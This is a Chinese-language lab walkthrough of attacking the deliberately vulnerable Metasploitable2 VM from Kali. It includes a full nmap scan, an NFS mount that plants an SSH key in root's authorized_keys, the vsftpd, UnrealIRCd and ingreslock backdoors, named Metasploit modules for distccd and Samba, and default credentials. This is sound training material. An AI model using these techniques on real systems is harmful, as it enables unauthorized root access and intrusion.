Metasploitable 2

  1. Metasploitable2 虚拟系统是一个特别制作的ubuntu操作系统,本身设计作为安全工具测试和演示常见漏洞攻击。版本2已经可以下载,并且比上一个版本包含更多可利用的安全漏洞。这个版本的虚拟系统兼容VMwareVirtualBox,和其他虚拟平台。默认只开启一个网络适配器并且开启NATHost-only,本镜像一定不要暴漏在一个易受攻击的网络中。<br />**metasploitable2下载址:**[http://sourceforge.net/projects/metasploitable/files/Metasploitable2](http://sourceforge.net/projects/metasploitable/files/Metasploitable2)

开始工作

当虚拟系统启动之后,使用用户名msfadmin,和密码msfadmin登陆。使用shell运行ifconfig命令来确认IP地址。
image.png

端口探测

攻击机我使用的是kali,ip为192.168.64.128
使用nmap探测端口

  1. root@kali:~# nmap -sS -A -p1-65535 192.168.64.150
  2. Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-25 03:06 EDT
  3. Nmap scan report for 192.168.64.150
  4. Host is up (0.00094s latency).
  5. Not shown: 65505 closed ports
  6. PORT STATE SERVICE VERSION
  7. 21/tcp open ftp vsftpd 2.3.4
  8. |_ftp-anon: Anonymous FTP login allowed (FTP code 230)
  9. | ftp-syst:
  10. | STAT:
  11. | FTP server status:
  12. | Connected to 192.168.64.128
  13. | Logged in as ftp
  14. | TYPE: ASCII
  15. | No session bandwidth limit
  16. | Session timeout in seconds is 300
  17. | Control connection is plain text
  18. | Data connections will be plain text
  19. | vsFTPd 2.3.4 - secure, fast, stable
  20. |_End of status
  21. 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
  22. | ssh-hostkey:
  23. | 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
  24. |_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
  25. 23/tcp open telnet Linux telnetd
  26. 25/tcp open smtp Postfix smtpd
  27. |_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN,
  28. |_ssl-date: 2019-07-25T07:08:51+00:00; -4s from scanner time.
  29. | sslv2:
  30. | SSLv2 supported
  31. | ciphers:
  32. | SSL2_RC4_128_EXPORT40_WITH_MD5
  33. | SSL2_RC2_128_CBC_WITH_MD5
  34. | SSL2_RC4_128_WITH_MD5
  35. | SSL2_DES_64_CBC_WITH_MD5
  36. | SSL2_DES_192_EDE3_CBC_WITH_MD5
  37. |_ SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
  38. 53/tcp open domain ISC BIND 9.4.2
  39. | dns-nsid:
  40. |_ bind.version: 9.4.2
  41. 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
  42. |_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
  43. |_http-title: Metasploitable2 - Linux
  44. 111/tcp open rpcbind 2 (RPC #100000)
  45. | rpcinfo:
  46. | program version port/proto service
  47. | 100000 2 111/tcp rpcbind
  48. | 100000 2 111/udp rpcbind
  49. | 100003 2,3,4 2049/tcp nfs
  50. | 100003 2,3,4 2049/udp nfs
  51. | 100005 1,2,3 38706/udp mountd
  52. | 100005 1,2,3 40926/tcp mountd
  53. | 100021 1,3,4 46001/udp nlockmgr
  54. | 100021 1,3,4 52030/tcp nlockmgr
  55. | 100024 1 37932/tcp status
  56. |_ 100024 1 41147/udp status
  57. 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
  58. 445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
  59. 512/tcp open exec netkit-rsh rexecd
  60. 513/tcp open login?
  61. 514/tcp open tcpwrapped
  62. 1099/tcp open java-rmi Java RMI Registry
  63. 1524/tcp open bindshell Metasploitable root shell
  64. 2049/tcp open nfs 2-4 (RPC #100003)
  65. 2121/tcp open ftp ProFTPD 1.3.1
  66. 3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
  67. | mysql-info:
  68. | Protocol: 10
  69. | Version: 5.0.51a-3ubuntu5
  70. | Thread ID: 69
  71. | Capabilities flags: 43564
  72. | Some Capabilities: SupportsTransactions, ConnectWithDatabase, Speaks41ProtocolNew, SwitchToSSLAfterHandshake, LongColumnFlag, Support41Auth, SupportsCompression
  73. | Status: Autocommit
  74. |_ Salt: =0y2-+0LpnYRnS7U*mkN
  75. 3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
  76. 5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
  77. |_ssl-date: 2019-07-25T07:08:47+00:00; -5s from scanner time.
  78. 5900/tcp open vnc VNC (protocol 3.3)
  79. | vnc-info:
  80. | Protocol version: 3.3
  81. | Security types:
  82. |_ VNC Authentication (2)
  83. 6000/tcp open X11 (access denied)
  84. 6667/tcp open irc UnrealIRCd
  85. 6697/tcp open irc UnrealIRCd
  86. 8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
  87. |_ajp-methods: Failed to get a valid response for the OPTION request
  88. 8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
  89. |_http-favicon: Apache Tomcat
  90. |_http-server-header: Apache-Coyote/1.1
  91. |_http-title: Apache Tomcat/5.5
  92. 8787/tcp open drb Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb)
  93. 37932/tcp open status 1 (RPC #100024)
  94. 40368/tcp open java-rmi Java RMI Registry
  95. 40926/tcp open mountd 1-3 (RPC #100005)
  96. 52030/tcp open nlockmgr 1-4 (RPC #100021)
  97. MAC Address: 00:0C:29:FA:DD:2A (VMware)
  98. Device type: general purpose
  99. Running: Linux 2.6.X
  100. OS CPE: cpe:/o:linux:linux_kernel:2.6
  101. OS details: Linux 2.6.9 - 2.6.33
  102. Network Distance: 1 hop
  103. Service Info: Hosts: metasploitable.localdomain, localhost, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

服务:Unix基础

TCP端口512,513和514为著名的rlogin提供服务。在系统中被错误配置从而允许远程访问者从任何地方访问(标准的,rhosts + +)。要利用这个配置,确保rsh客户端已经安装(在ubuntu上),然后以root权限运行下列命令,如果被提示需要一个SSH秘钥,这表示rsh客户端没有安装,ubuntu一般默认使用SSH。
image.png
这是如此轻而易举办到。接下来我们要查看的是网络文件系统(NFS)。NFS可以通过扫描2049端口或者查询端口映射程序的服务列表进行确认。下面的列子我们将通过rpcinfo来确认NFS,通过showmount -e 来确定“ /”共享(文件系统的根目录)已经被导出。我们需要安装ubuntu中的rpcbind和nfs-common的依赖包。

安装rpcbind

  1. sudo apt-get install rpcbind

安装nfs-common

  1. sudo apt-get install nfs-common

通过rpcinfo来确认NFS

  1. root@kali:~# rpcinfo -p 192.168.64.150
  2. program vers proto port service
  3. 100000 2 tcp 111 portmapper
  4. 100000 2 udp 111 portmapper
  5. 100024 1 udp 58001 status
  6. 100024 1 tcp 60255 status
  7. 100003 2 udp 2049 nfs
  8. 100003 3 udp 2049 nfs
  9. 100003 4 udp 2049 nfs
  10. 100021 1 udp 50422 nlockmgr
  11. 100021 3 udp 50422 nlockmgr
  12. 100021 4 udp 50422 nlockmgr
  13. 100003 2 tcp 2049 nfs
  14. 100003 3 tcp 2049 nfs
  15. 100003 4 tcp 2049 nfs
  16. 100021 1 tcp 33352 nlockmgr
  17. 100021 3 tcp 33352 nlockmgr
  18. 100021 4 tcp 33352 nlockmgr
  19. 100005 1 udp 46761 mountd
  20. 100005 1 tcp 44590 mountd
  21. 100005 2 udp 46761 mountd
  22. 100005 2 tcp 44590 mountd
  23. 100005 3 udp 46761 mountd
  24. 100005 3 tcp 44590 mountd

image.png

通过showmount -e 来确定“ /”共享(文件系统的根目录)已经被导出
showmount -e 192.168.99.131
image.png
获取一个系统的可写入的文件系统权限是很简单的。我们需要在攻击者的系统上创建一个新的SSH秘钥,挂载NFS接口,然后把我们的秘钥添加到root使用者账号的认证秘钥文件里:
root@kali:~# ssh-keygen
image.png
root@kali:~# mkdir /tmp/r00t
root@kali:~# mount -t nfs 192.168.64.150:/ /tmp/r00t/
root@kali:~# cat ~/.ssh/id_rsa.pub >> /tmp/r00t/root/.ssh/authorized_keys
root@kali:~# umount /tmp/r00t

image.png

服务:后门

Metasploitable2 在21端口上运行着vsftpd服务,一个使用广泛的FTP服务。这个特别的版本包含一个后门允许一个未知的入侵者进入核心代码。这个后门很快就被确认并且移除。但是移除之前已经被少数人下载下来。如果在发送的用户名后面加上”:)“(笑脸符号),这个版本的后门会在6200端口上打开一个监听的shell。我们可以通过telnet确认或者通过metasploit上面的攻击模块自动攻击。
image.png

image.png

在Metasploitable2 的6667端口上运行着UnreaIRCD IRC的守护进程。这个版本包含一个后门-运行了几个月都没被注意到。通过在一个系统命令后面添加两个字母”AB“发送给被攻击服务器任意一个监听该端口来触发。metasploit上已经已经有攻击模块来获得一个交互的shell,请看下面列子。
msfconsole
use exploit/unix/irc/unreal_ircd_3281_backdoor
image.png

在少数服务器上存在一个古老的令人惊讶的“ingreslock”后门,监听1524端口。在过去的十年里,它经常被用于入侵一个暴露的服务器。它的利用是如此简单。
image.png

服务:无意识的后门

除了上个部分介绍的恶意的后门以外,一些程序的性质本身就类似后门。Metasploitable2 最先安装的是distccd。这个程序可以使大量代码在网络服务器上进行分布式编译。问题是攻击者可以滥用它来实现一些他们想运行的命令。metasploit在下面例子里证明。
use exploit/unix/misc/distcc_exec
image.png

samba,当配置为文件权限可写同时”wide links” 被允许(默认就是允许),同样可以被作为后门而仅仅是文件共享。下面例子里,metasploit提供一个攻击模块,允许接入一个root文件系统通过一个匿名接入和可写入的共享设置。
smbclient -L //192.168.99.131
image.png

use auxiliary/admin/smb/samba_symlink_traversal
image.png

image.png**

弱口令

除了上面介绍的公开的后门和错误配置以外,Metasploit2 上不管是系统还是数据口账户都有非常严重的弱口令问题。最初的管理员登陆密码和登录名msfadmin相同。通过查看系统的用户名表,我们可以通过使用缺陷来捕获passwd文件,或者通过Samba枚举这些用户,或者通过暴力破解来获得账号密码。系统中至少有一下弱口令。
image.png
除了这些系统层面的账户,PostgreSQL 服务可以通过默认的用户名postgres和密码postgres登陆。MySQL 服务也开放,用户名为root同时为空口令。VNC服务提供一个远程桌面接入服务通过使用默认的密码password可以登陆。
image.png

https://www.freebuf.com/articles/system/34571.html